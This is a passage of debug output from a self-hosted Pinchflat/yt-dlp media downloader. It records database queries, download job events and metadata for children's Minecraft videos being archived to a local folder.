%(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/28/95/2895a15a58b6f31d8c04ea6d9aeb9945627e1f823d7b315e4924293a7d4408d7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:43:38.984 [debug] Current batch of media processed. Will check again in 1000ms 19:43:39.985 [debug] Current batch of media processed. Will check again in 1000ms 19:43:40.986 [debug] Current batch of media processed. Will check again in 1000ms 19:43:41.987 [debug] Current batch of media processed. Will check again in 1000ms 19:43:42.988 [debug] Current batch of media processed. Will check again in 1000ms 19:43:43.989 [debug] Current batch of media processed. Will check again in 1000ms 19:43:44.990 [debug] Current batch of media processed. Will check again in 1000ms 19:43:45.991 [debug] Current batch of media processed. Will check again in 1000ms 19:43:46.992 [debug] Current batch of media processed. Will check again in 1000ms 19:43:47.993 [debug] Current batch of media processed. Will check again in 1000ms 19:43:48.994 [debug] Current batch of media processed. Will check again in 1000ms 19:43:49.995 [debug] Current batch of media processed. Will check again in 1000ms 19:43:50.996 [debug] Current batch of media processed. Will check again in 1000ms 19:43:51.997 [debug] Current batch of media processed. Will check again in 1000ms 19:43:52.998 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mongo and his friends are doing a Minecraft Build Battle, but Mongo secretly cheats with WHAT THE DOG DOIN! Can Mongo build the best WHAT THE DOG DOIN in the Minecraft Build Battle and fool his friends? Or will his friends discover that Mongo cheated? Watch until the end to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 1089, "filename" => "/downloads/rory/Mongo/2026-06-03 I Cheated With WHAT THE DOG DOIN In Minecraft Build Battle!/I Cheated With WHAT THE DOG DOIN In Minecraft Build Battle! [tdmv1MfjRsY].mp4", "id" => "tdmv1MfjRsY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=tdmv1MfjRsY", "playlist_index" => 1, "timestamp" => 1780506005, "title" => "I Cheated With WHAT THE DOG DOIN In Minecraft Build Battle!", "upload_date" => "20260603"} 19:43:52.999 [debug] QUERY OK source="sources" db=0.2ms idle=1299.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:43:52.999 [debug] QUERY OK source="sources" db=0.2ms idle=1299.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:53.001 [debug] QUERY OK source="media_items" db=1.1ms idle=1300.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-03 17:00:05Z], 31] 19:43:53.002 [debug] QUERY OK source="media_items" db=1.0ms idle=1017.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mongo and his friends are doing a Minecraft Build Battle, but Mongo secretly cheats with WHAT THE DOG DOIN! Can Mongo build the best WHAT THE DOG DOIN in the Minecraft Build Battle and fool his friends? Or will his friends discover that Mongo cheated? Watch until the end to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With WHAT THE DOG DOIN In Minecraft Build Battle!", "d945a9e6-859f-4f8f-9df5-2d1d56b66268", "tdmv1MfjRsY", false, "https://www.youtube.com/watch?v=tdmv1MfjRsY", 31, [], 1089, false, 1, "/downloads/rory/Mongo/2026-06-03 I Cheated With WHAT THE DOG DOIN In Minecraft Build Battle!/I Cheated With WHAT THE DOG DOIN In Minecraft Build Battle! [tdmv1MfjRsY].mp4", false, false, 99, ~U[2026-06-03 17:00:05Z], ~U[2026-06-03 23:43:53Z], ~U[2026-06-03 23:43:53Z], "Today, Mongo and his friends are doing a Minecraft Build Battle, but Mongo secretly cheats with WHAT THE DOG DOIN! Can Mongo build the best WHAT THE DOG DOIN in the Minecraft Build Battle and fool his friends? Or will his friends discover that Mongo cheated? Watch until the end to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With WHAT THE DOG DOIN In Minecraft Build Battle!", "tdmv1MfjRsY", "https://www.youtube.com/watch?v=tdmv1MfjRsY", 31, 1089, false, "/downloads/rory/Mongo/2026-06-03 I Cheated With WHAT THE DOG DOIN In Minecraft Build Battle!/I Cheated With WHAT THE DOG DOIN In Minecraft Build Battle! [tdmv1MfjRsY].mp4", false, ~U[2026-06-03 17:00:05Z]] 19:43:53.002 [debug] QUERY OK source="sources" db=0.3ms idle=17.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:53.003 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:53.003 [debug] QUERY OK source="media_items" db=0.3ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [141520] 19:43:53.004 [info] Kicking off download for media item #141520 (tdmv1MfjRsY) 19:43:53.005 [debug] QUERY OK source="tasks" db=0.2ms idle=2.4ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7281, 141520, ~U[2026-06-03 23:43:53Z], ~U[2026-06-03 23:43:53Z]] 19:43:53.005 [debug] Current batch of media processed. Will check again in 1000ms 19:43:53.012 [info] {"args":{"id":141520},"id":7281,"meta":{},"system_time":1780530233011982728,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:43:53.012 [debug] QUERY OK source="media_items" db=0.1ms idle=8.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141520] 19:43:53.012 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:43:53.012 [debug] QUERY OK source="sources" db=0.2ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:53.013 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:53.013 [debug] QUERY OK source="media_items" db=0.2ms idle=7.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [141520] 19:43:53.014 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [141520] 19:43:53.014 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:53.014 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:53.015 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:53.015 [debug] Running yt-dlp command for action: get_downloadable_status 19:43:53.015 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:53.016 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:53.016 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:53.016 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=tdmv1MfjRsY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b5/ec/b5ecc8efed5a14fc4eaae940fdbdaf0cbe379440aade1773840ab95e83f1edad.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:43:54.006 [debug] Current batch of media processed. Will check again in 1000ms 19:43:55.007 [debug] Current batch of media processed. Will check again in 1000ms 19:43:56.008 [debug] Current batch of media processed. Will check again in 1000ms 19:43:56.984 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=tdmv1MfjRsY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b5/ec/b5ecc8efed5a14fc4eaae940fdbdaf0cbe379440aade1773840ab95e83f1edad.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:43:56.984 [debug] Running yt-dlp command for action: download 19:43:56.985 [debug] QUERY OK source="settings" db=0.2ms idle=996.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:56.985 [debug] QUERY OK source="settings" db=0.2ms idle=285.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:56.985 [debug] QUERY OK source="settings" db=0.1ms idle=285.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:56.985 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=tdmv1MfjRsY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --sub-langs en --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/rory/Mongo/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/34/11/3411246b1d13b6dc2444b7c42338bbd9cf9dfe61dbccb93a4089461f84384f6c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:43:57.009 [debug] Current batch of media processed. Will check again in 1000ms 19:43:58.010 [debug] Current batch of media processed. Will check again in 1000ms 19:43:58.569 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=nlDDtZXqZPY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --sub-langs en --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/rory/Milo and Chip/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b9/8c/b98c1f52e852949159293b32f7aeddad24a07a9d517f2393a3aad0db4e355a3c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:43:58.621 [debug] Running yt-dlp command for action: download_thumbnail 19:43:58.622 [debug] QUERY OK source="settings" db=0.2ms idle=1636.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:58.622 [debug] QUERY OK source="settings" db=0.1ms idle=1636.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:58.622 [debug] QUERY OK source="settings" db=0.0ms idle=1636.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:58.622 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=nlDDtZXqZPY --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/141479/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/7c/88/7c888c7bfaa7f93311e5c5b3b57fb8ce2523dc7df956a504e33dc2adec5dc053.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:43:59.011 [debug] Current batch of media processed. Will check again in 1000ms 19:44:00.012 [debug] Current batch of media processed. Will check again in 1000ms 19:44:00.127 [info] {"source":"oban","duration":114,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:44:01.013 [debug] Current batch of media processed. Will check again in 1000ms 19:44:02.014 [debug] Current batch of media processed. Will check again in 1000ms 19:44:02.859 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:03.015 [debug] Current batch of media processed. Will check again in 1000ms 19:44:03.646 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=nlDDtZXqZPY --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/141479/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/7c/88/7c888c7bfaa7f93311e5c5b3b57fb8ce2523dc7df956a504e33dc2adec5dc053.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:44:03.647 [debug] QUERY OK db=0.0ms idle=1947.6ms begin [] 19:44:03.647 [debug] QUERY OK source="media_items" db=0.5ms UPDATE "media_items" SET "media_filepath" = ?, "media_downloaded_at" = ?, "updated_at" = ? WHERE "id" = ? ["/downloads/rory/Milo and Chip/2026-06-03 The DAY Milo Couldn't WAKE UP!/The DAY Milo Couldn't WAKE UP! [nlDDtZXqZPY].mp4", ~U[2026-06-03 23:43:58Z], ~U[2026-06-03 23:44:03Z], 141479] 19:44:03.648 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/141479/metadata.json.gz", "/config/metadata/media_items/141479/thumbnail.jpg", 141479, ~U[2026-06-03 23:44:03Z], ~U[2026-06-03 23:44:03Z]] 19:44:03.648 [debug] QUERY OK db=0.1ms commit [] 19:44:03.649 [debug] QUERY OK source="media_items" db=0.7ms idle=1949.3ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [1127930340, ~U[2026-06-03 23:44:03Z], 141479] 19:44:03.649 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:44:03.650 [info] {"args":{"id":141479},"id":7279,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":173971723,"event":"job:stop","queue_time":677390,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:44:04.016 [debug] Current batch of media processed. Will check again in 1000ms 19:44:05.017 [debug] Current batch of media processed. Will check again in 1000ms 19:44:06.018 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mongo pretends to be BABY GUGUGAGA PENGUIN in Minecraft! Using his BABY GUGUGAGA PENGUIN disguise, Mongo tries to fool his friends and keep his secret hidden. Will Mongo be able to stay disguised as BABY GUGUGAGA PENGUIN, or will his friends discover the truth? Watch as Mongo uses his BABY GUGUGAGA PENGUIN powers to prank his friends and create chaos in Minecraft!\n\n#mongo #Minecraft #MinecraftMod", "duration" => 1205, "filename" => "/downloads/rory/Mongo/2026-06-02 I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!/I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft! [tRYboGBQZcs].mp4", "id" => "tRYboGBQZcs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=tRYboGBQZcs", "playlist_index" => 2, "timestamp" => 1780419606, "title" => "I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!", "upload_date" => "20260602"} 19:44:06.019 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1319.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:06.019 [debug] QUERY OK source="sources" db=0.2ms idle=1319.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:06.021 [debug] QUERY OK source="media_items" db=1.8ms idle=1320.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-02 17:00:06Z], 31] 19:44:06.023 [debug] QUERY OK source="media_items" db=0.7ms idle=1017.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mongo pretends to be BABY GUGUGAGA PENGUIN in Minecraft! Using his BABY GUGUGAGA PENGUIN disguise, Mongo tries to fool his friends and keep his secret hidden. Will Mongo be able to stay disguised as BABY GUGUGAGA PENGUIN, or will his friends discover the truth? Watch as Mongo uses his BABY GUGUGAGA PENGUIN powers to prank his friends and create chaos in Minecraft!\n\n#mongo #Minecraft #MinecraftMod", "I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!", "7b49566c-3b0f-4499-ac36-3d28fef8354c", "tRYboGBQZcs", false, "https://www.youtube.com/watch?v=tRYboGBQZcs", 31, [], 1205, false, 2, "/downloads/rory/Mongo/2026-06-02 I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!/I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft! [tRYboGBQZcs].mp4", false, false, 98, ~U[2026-06-02 17:00:06Z], ~U[2026-06-03 23:44:06Z], ~U[2026-06-03 23:44:06Z], "Today, Mongo pretends to be BABY GUGUGAGA PENGUIN in Minecraft! Using his BABY GUGUGAGA PENGUIN disguise, Mongo tries to fool his friends and keep his secret hidden. Will Mongo be able to stay disguised as BABY GUGUGAGA PENGUIN, or will his friends discover the truth? Watch as Mongo uses his BABY GUGUGAGA PENGUIN powers to prank his friends and create chaos in Minecraft!\n\n#mongo #Minecraft #MinecraftMod", "I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!", "tRYboGBQZcs", "https://www.youtube.com/watch?v=tRYboGBQZcs", 31, 1205, false, "/downloads/rory/Mongo/2026-06-02 I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft!/I Pretended to be BABY GUGUGAGA PENGUIN in Minecraft! [tRYboGBQZcs].mp4", false, ~U[2026-06-02 17:00:06Z]] 19:44:06.023 [debug] QUERY OK source="sources" db=0.2ms idle=16.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:06.023 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", 